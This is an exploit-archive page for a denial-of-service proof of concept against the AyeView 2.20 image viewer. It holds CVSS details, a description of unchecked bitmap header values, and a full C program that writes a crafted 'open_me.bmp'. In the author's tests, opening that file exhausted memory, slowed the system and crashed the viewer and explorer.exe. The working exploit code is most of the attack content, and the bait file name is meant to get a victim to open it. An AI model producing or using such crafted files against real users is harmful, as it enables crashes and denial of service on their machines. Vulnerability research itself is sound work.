AyeView 2.20 (invalid bitmap header parsing) Crash Exploit

2009.01.23
Credit: suN8Hclf
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

Name : AyeView v2.20 (invalid bitmap header parsing) DoS Exploit Credit : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com Download: : http://www.ayeview.com/downloads.htm Greetz : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, Katharsis, str0ke, all from #dark-coders and others;] Short Desc: AyeView v2.20 software does not properly parse values in bmp file header. In fact it does it good but it does not check if these values are "reasonable". Therefore we can create a special bitmap, that will slow down or even suspend the entire system. I have written a PoC that enforce AyeView to allocate large amounts of memory. Short history: First start of exploit -> the system really slowed down Second start(another values)-> I got a message that "the amount of virtual memory is too low", explorer.exe crashed Third start(another values) -> AyeView crashed PoC: ------------------------------exploit--------------------------- #include <stdio.h> #include <stdlib.h> #include <windows.h> struct bmpfile_header{ short bfType; int bfSize; int Res; int bfOffBits; int biSize; int biWidth; int biHeight; short biPlanes; short biBitCount; int biCompression; int biSizeImage; int biXPelsPerMeter; int biYPelsPerMeter; int biClrUsed; char biClrImportant; char biClrRotation; short biReserved; }__attribute__((packed)); //shift to 54 bytes #define WIDTH 3000 //play around with these values... #define HEIGHT 60000 #define Y 44432 #define X 54444 int main(int argc, char *argv[]) { struct bmpfile_header *bmpheader; char *memory; FILE *f; memory=(char *)malloc(60); if(memory==NULL){ perror("malloc"); return -1; } memset(memory, 0, 60); bmpheader=(struct bmpfile_header *)memory; printf("[+]Building bitmap... :)\n"); bmpheader->bfType=*(short *)"BM"; bmpheader->bfSize=(int)60; bmpheader->Res=0; bmpheader->bfOffBits=54; bmpheader->biSize=40; bmpheader->biHeight=(int)HEIGHT; bmpheader->biWidth=(int)WIDTH; bmpheader->biPlanes=1; bmpheader->biBitCount=24; bmpheader->biCompression=0; bmpheader->biSizeImage=6; bmpheader->biXPelsPerMeter=(int)X; bmpheader->biYPelsPerMeter=(int)Y; bmpheader->biClrUsed=255*255*255; bmpheader->biClrImportant=0; bmpheader->biClrRotation=0; f=fopen("open_me.bmp", "wb"); if(!f){ perror("fopen"); free(memory); exit(-1); } fwrite(memory, 1, 60, f); fclose(f); printf("[+]open_me.bmp bitmap created :)\n"); free(memory); return 0; } ------------------------------exploit--------------------------- Stay secure...

References:

http://www.milw0rm.com/exploits/6672


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top